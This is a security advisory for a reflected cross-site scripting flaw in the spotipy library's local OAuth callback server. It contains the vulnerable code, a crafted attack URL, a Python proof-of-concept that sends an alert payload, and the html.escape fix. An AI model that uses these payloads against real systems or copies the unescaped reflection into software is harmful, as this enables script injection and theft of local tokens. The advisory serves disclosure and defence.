GHSA-r77h-rpp9-w2xm Spotipy has a XSS vulnerability in its OAuth callback server

• PyPI spotipy: < 2.25.2 → fixed in 2.25.2

Summary XSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user's browser during OAuth authentication. Details Vulnerable Code: `spotipy/oauth2.py` lines 1238-1274 (RequestHandler.do_GET) The Problem: During OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the `error` URL parameter directly into HTML without sanitization. Vulnerable code at line 1255: ```python status = f"failed ({self.server.error})" ``` Then embedded in HTML at line 1265: ```python self._write(f""" Authentication status: {status} """) ``` The `error` parameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection. Attack Flow: 1. User starts OAuth authentication → local server runs on `http://127.0.0.1:8080` 2. Attacker crafts malicious URL: `http://127.0.0.1:8080/?error=alert(1)&state=x` 3. User visits URL → JavaScript executes in localhost origin PoC Simple Python Test: ```python !/usr/bin/env python3 poc_xss.py - Demonstrates XSS in spotipy OAuth callback import requests from spotipy.oauth2 import start_local_http_server import threading import time Start vulnerable server in background def start_server(): server = start_local_http_server(8080) server.handle_request() thread = threading.Thread(target=start_server, daemon=True) thread.start() time.sleep(2) Send XSS payload payload = 'alert("XSS")' url = f'http://127.0.0.1:8080/?error={payload}&state=test' response = requests.get(url) print(f"Status: {response.status_code}") print(f"\nHTML Response:\n{response.text}") Check if vulnerable if payload in response.text: print(f"\n[!] VULNERABLE: Payload '{payload}' reflected without escaping!") else: print("\n[+] Safe: Payload was sanitized") ``` Run it: ```bash pip install spotipy requests python3 poc_xss.py ``` Output shows: ``` Status: 200 HTML Response: Authentication status: failed (alert("XSS")) [!] VULNERABLE: Payload 'alert("XSS")' reflected without escaping! ``` The Proof: • Expected (safe): `&lt;script&gt;alert("XSS")&lt;/script&gt;` • Actual (vulnerable): `alert("XSS")` • The script tags are NOT escaped → XSS confirmed Impact Vulnerability Type: Cross-Site Scripting (XSS) - CWE-79 Affected Users: Anyone using spotipy's OAuth flow with localhost redirect URIs Attack Complexity: Medium-High • Requires timing (during brief OAuth window) • Localhost-only (127.0.0.1) • Requires user interaction (click malicious link) Potential Impact: • Execute JavaScript in localhost origin • Access other localhost services (port scanning, API calls) • Steal data from local web applications • Extract OAuth tokens from browser storage • Bypass CSRF protections on localhost endpoints CVSS 3.1 Score: 4.2 (Medium) • Attack Vector: Local • Attack Complexity: High • Privileges Required: None • User Interaction: Required • Scope: Unchanged • Confidentiality/Integrity: Low Recommended Fix: ```python import html Line 1255 - apply HTML escaping if self.server.error: status = f"failed ({html.escape(str(self.server.error))})" ```